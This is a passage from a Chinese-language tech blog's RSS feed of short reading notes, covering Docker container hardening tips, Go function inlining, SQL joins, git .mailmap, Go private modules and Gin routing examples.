&lt;li>&lt;a href="https://www.bboy.app/2021/08/09/%E4%BD%BF%E7%94%A8mydumper%E5%A4%87%E4%BB%BD%E6%95%B0%E6%8D%AE%E5%BA%93/" target="_blank" rel="noopener">使用 mydumper 备份数据库&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mydumper/mydumper" target="_blank" rel="noopener">MyDumper&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Docker 安全最佳實務：速查表</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210820-how-to-improve-your-docker-containers-security-cheat-sheet/</link><pubDate>Fri, 20 Aug 2021 23:14:30 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210820-how-to-improve-your-docker-containers-security-cheat-sheet/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.gitguardian.com/how-to-improve-your-docker-containers-security-cheat-sheet/" target="_blank" rel="noopener">Docker 安全最佳實務：速查表&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="映像安全">映像安全&lt;/h3>
&lt;h4 id="使用可信任的映像">使用可信任的映像&lt;/h4>
&lt;h4 id="非特權使用者">非特權使用者&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-dockerfile" data-lang="dockerfile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">FROM&lt;/span>&lt;span style="color:#e6db74"> base_image&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">RUN&lt;/span> addgroup -S appgroup &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> adduser -S appuser -G appgroup&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">USER&lt;/span>&lt;span style="color:#e6db74"> appuser&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="user-id-命名空間">User ID 命名空間&lt;/h4>
&lt;blockquote>
&lt;p>隔離命名空間，避免容器權限提升影響主機。&lt;/p>&lt;/blockquote>
&lt;p>為了降低風險，請在主機與 Docker daemon 上使用 &lt;code>--userns-remap&lt;/code> 選項設定獨立的命名空間。&lt;/p>
&lt;h3 id="容器執行期安全">容器執行期安全&lt;/h3>
&lt;h4 id="禁止新增權限">禁止新增權限&lt;/h4>
&lt;p>為了提升安全性，建議在建立容器後明確禁止新增權限：&lt;code>--security-opt=no-new-privileges&lt;/code>。&lt;/p>
&lt;h4 id="定義細粒度能力">定義細粒度能力&lt;/h4>
&lt;p>例如，Web 伺服器可能只需要 &lt;code>NET_BIND_SERVICE&lt;/code> 來綁定 80 連接埠。&lt;/p>
&lt;h4 id="控制資源使用">控制資源使用&lt;/h4>
&lt;p>&lt;code>docker run --memory=&amp;quot;400m&amp;quot; --cpus=&amp;quot;0.5&amp;quot; &lt;/code>&lt;/p>
&lt;h3 id="主機系統安全">主機系統安全&lt;/h3>
&lt;h4 id="敏感檔案系統區域">敏感檔案系統區域&lt;/h4>
&lt;p>若需要存取主機設備，請謹慎以 &lt;code>[r|w|m]&lt;/code> 旗標（&lt;code>read&lt;/code>、&lt;code>write&lt;/code>、&lt;code>mknod&lt;/code>）開啟必要權限。&lt;/p>
&lt;h4 id="容器檔案系統存取">容器檔案系統存取&lt;/h4>
&lt;p>&lt;code>docker run --read-only --tmpfs /tmp:rw ,noexec,nosuid &lt;/code>&lt;/p>
&lt;h4 id="持久化儲存">持久化儲存&lt;/h4>
&lt;p>如果需要和主機檔案系統或其他容器共享資料，有兩種做法：&lt;/p>
&lt;ul>
&lt;li>使用可限制磁碟空間的 bind mount（&lt;code>--mount type=bind,o=size&lt;/code>）&lt;/li>
&lt;li>為專用分割區建立 bind volume（&lt;code>--mount type=volume&lt;/code>）&lt;/li>
&lt;/ul>
&lt;h3 id="網路安全">網路安全&lt;/h3>
&lt;h4 id="docker-daemon-socket">Docker daemon socket&lt;/h4>
&lt;p>Docker 使用的 UNIX socket 不應暴露：&lt;code>/var/run/docker.sock&lt;/code>&lt;/p></description></item><item><title>[译] Go语言inline内联的策略与限制</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210814-go-inlining-strategy-limitation/</link><pubDate>Sat, 14 Aug 2021 20:33:41 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210814-go-inlining-strategy-limitation/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.pengrl.com/p/20028/" target="_blank" rel="noopener">[译] Go 语言 inline 内联的策略与限制&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/a-journey-with-go/go-inlining-strategy-limitation-6b6d7fc3b1be" target="_blank" rel="noopener">Go: Inlining Strategy &amp;amp; Limitation&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://deepu.tech/memory-management-in-golang/" target="_blank" rel="noopener">Visualizing memory management in Golang&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/eureka-engineering/understanding-allocations-in-go-stack-heap-memory-9a2631b5035d" target="_blank" rel="noopener">Understanding Allocations in Go&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> []&lt;span style="color:#66d9ef">float32&lt;/span>{&lt;span style="color:#ae81ff">120.4&lt;/span>, &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">46.7&lt;/span>, &lt;span style="color:#ae81ff">32.50&lt;/span>, &lt;span style="color:#ae81ff">34.65&lt;/span>, &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">67.45&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;The total is %.02f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">sum&lt;/span>(&lt;span style="color:#a6e22e">n&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">sum&lt;/span>(&lt;span style="color:#a6e22e">s&lt;/span> []&lt;span style="color:#66d9ef">float32&lt;/span>) &lt;span style="color:#66d9ef">float32&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#66d9ef">float32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">v&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">t&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">t&lt;/span> = &lt;span style="color:#a6e22e">add&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>, &lt;span style="color:#a6e22e">v&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">t&lt;/span> = &lt;span style="color:#a6e22e">sub&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>, &lt;span style="color:#a6e22e">v&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">t&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">add&lt;/span>(&lt;span style="color:#a6e22e">a&lt;/span>, &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#66d9ef">float32&lt;/span>) &lt;span style="color:#66d9ef">float32&lt;/span> { &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">a&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">sub&lt;/span>(&lt;span style="color:#a6e22e">a&lt;/span>, &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#66d9ef">float32&lt;/span>) &lt;span style="color:#66d9ef">float32&lt;/span> { &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">a&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>使用参数&lt;code>-gflags=&amp;quot;-m&amp;quot;&lt;/code>运行，可显示被内联的函数&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>./op.go:3:6: can inline add
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./op.go:7:6: can inline sub
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./main.go:16:11: inlining call to sub
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./main.go:14:11: inlining call to add
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./main.go:7:12: inlining call to fmt.Printf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>可以看到 add 方法被内联了。但是，为什么 sum 方法没有被内联呢？使用运行参数&lt;code>-gflags=&amp;quot;-m -m&amp;quot;&lt;/code>可以看到原因：&lt;/p></description></item><item><title>SQL Join 類型視覺化解說</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210813-sql-join-types-explained-visually/</link><pubDate>Fri, 13 Aug 2021 16:16:54 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210813-sql-join-types-explained-visually/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://dataschool.com/how-to-teach-people-sql/sql-join-types-explained-visually/" target="_blank" rel="noopener">SQL Join 類型視覺化解說&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Git 小技巧：用 .mailmap 合併不同作者</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210805-little-git-tricks-use-mailmap-to-merge-different-authors/</link><pubDate>Thu, 05 Aug 2021 13:42:14 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210805-little-git-tricks-use-mailmap-to-merge-different-authors/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://improveandrepeat.com/2019/06/little-git-tricks-use-mailmap-to-merge-different-authors/" target="_blank" rel="noopener">Git 小技巧：用 .mailmap 合併不同作者&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;code>.mailmap&lt;/code> 檔案 ==&amp;gt; &lt;code>Name you want to keep &amp;lt;email&amp;gt; Name you no longer want &amp;lt;email&amp;gt;&lt;/code>&lt;/p>
&lt;pre tabindex="0">&lt;code>John Doe John Doe
John Doe John Doe
John Doe john doe
Max Example Max
&lt;/code>&lt;/pre>&lt;h5 id="之前">之前&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ git shortlog -se
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">1&lt;/span> John Doe &amp;lt;John@Doe.org&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">1&lt;/span> John Doe &amp;lt;John@doe.org&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">2&lt;/span> John Doe &amp;lt;john@doe.org&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">1&lt;/span> Max &amp;lt;max@test.co.uk&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">3&lt;/span> Max Example &amp;lt;hi@test.com&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">1&lt;/span> john doe &amp;lt;john@doe.org&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="之後">之後&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ git shortlog -se
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">5&lt;/span> John Doe &amp;lt;john@doe.org&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">4&lt;/span> Max Example &amp;lt;hi@test.com&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Go Modules 處理 Private GIT Repository 流程</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210723-read-private-module-in-golang/</link><pubDate>Fri, 23 Jul 2021 09:40:39 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210723-read-private-module-in-golang/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.wu-boy.com/2020/03/read-private-module-in-golang/" target="_blank" rel="noopener">Go Modules 處理 Private GIT Repository 流程&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>&lt;code>go env -w GOPRIVATE=github.com/appleboy&lt;/code>
&lt;ol>
&lt;li>&lt;code>go env -w GONOPROXY=github.com/appleboy&lt;/code>&lt;/li>
&lt;li>&lt;code>go env -w GONOSUMDB=github.com/appleboy&lt;/code>&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>&lt;code>git config --global url.&amp;quot;https://$USERNAME:$ACCESS_TOKEN@github.com&amp;quot;.insteadOf &amp;quot;https://github.com&amp;quot;&lt;/code>
&lt;ol>
&lt;li>&lt;code>git config --global url.ssh://git@your.private.git/.insteadOf https://your.private.git/&lt;/code>&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ol></description></item><item><title>Gin中文文档</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210722-shuangdeyu-gin-book/</link><pubDate>Thu, 22 Jul 2021 15:55:48 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210722-shuangdeyu-gin-book/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.kancloud.cn/shuangdeyu/gin_book/949450" target="_blank" rel="noopener">自定义路由日志的格式&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kancloud.cn/shuangdeyu/gin_book/949444" target="_blank" rel="noopener">Gin 运行多个服务&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kancloud.cn/shuangdeyu/gin_book/949433" target="_blank" rel="noopener">XML、JSON、YAML 和 ProtoBuf 渲染（输出格式）&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="自定义路由日志的格式">自定义路由日志的格式&lt;/h3>
&lt;p>default&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>GIN-debug&lt;span style="color:#f92672">]&lt;/span> POST /foo --&amp;gt; main.main.func1 &lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#ae81ff">3&lt;/span> handlers&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>GIN-debug&lt;span style="color:#f92672">]&lt;/span> GET /bar --&amp;gt; main.main.func2 &lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#ae81ff">3&lt;/span> handlers&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>GIN-debug&lt;span style="color:#f92672">]&lt;/span> GET /status --&amp;gt; main.main.func3 &lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#ae81ff">3&lt;/span> handlers&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;log&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;net/http&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;github.com/gin-gonic/gin&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">r&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">Default&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">DebugPrintRouteFunc&lt;/span> = &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">httpMethod&lt;/span>, &lt;span style="color:#a6e22e">absolutePath&lt;/span>, &lt;span style="color:#a6e22e">handlerName&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">nuHandlers&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;endpoint %v %v %v %v\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">httpMethod&lt;/span>, &lt;span style="color:#a6e22e">absolutePath&lt;/span>, &lt;span style="color:#a6e22e">handlerName&lt;/span>, &lt;span style="color:#a6e22e">nuHandlers&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">POST&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/foo&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">Context&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">c&lt;/span>.&lt;span style="color:#a6e22e">JSON&lt;/span>(&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">StatusOK&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;foo&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">GET&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/bar&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">Context&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">c&lt;/span>.&lt;span style="color:#a6e22e">JSON&lt;/span>(&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">StatusOK&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;bar&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">GET&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/status&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">Context&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">c&lt;/span>.&lt;span style="color:#a6e22e">JSON&lt;/span>(&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">StatusOK&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;ok&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Listen and Server in http://0.0.0.0:8080&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">Run&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="gin-运行多个服务">Gin 运行多个服务&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;log&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;net/http&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;time&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;github.com/gin-gonic/gin&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;golang.org/x/sync/errgroup&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">g&lt;/span> &lt;span style="color:#a6e22e">errgroup&lt;/span>.&lt;span style="color:#a6e22e">Group&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">router01&lt;/span>() &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">Handler&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">e&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">e&lt;/span>.&lt;span style="color:#a6e22e">Use&lt;/span>(&lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">Recovery&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">e&lt;/span>.&lt;span style="color:#a6e22e">GET&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">Context&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">c&lt;/span>.&lt;span style="color:#a6e22e">JSON&lt;/span>(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">StatusOK&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">H&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;code&amp;#34;&lt;/span>: &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">StatusOK&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;error&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;Welcome server 01&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">e&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
